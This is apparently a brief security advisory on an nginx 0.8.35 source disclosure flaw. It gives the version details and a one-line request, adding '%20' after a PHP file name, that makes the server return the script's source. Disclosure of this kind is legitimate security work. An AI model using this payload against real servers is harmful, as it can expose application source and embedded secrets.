Nginx 0.8.35 Space Character Remote Source Disclosure

################################################################# # Securitylab.ir ################################################################# # Application Info: # Name: Nginx # Tested on nginx 0.8.35 # Nginx 0.8.36 and higher is not vulnerable ################################################################# # Vulnerability Info: # Type: Remote File Disclosure # Risk: High ################################################################# # Vulnerability: # http://localhost/file.php%20 ################################################################# # Discoverd By: Pouya Daneshmand # Website: http://Pouya.Securitylab.ir # Contacts: whh_iran[at]securitylab.ir & info@securitylab[dot]ir ###################################################################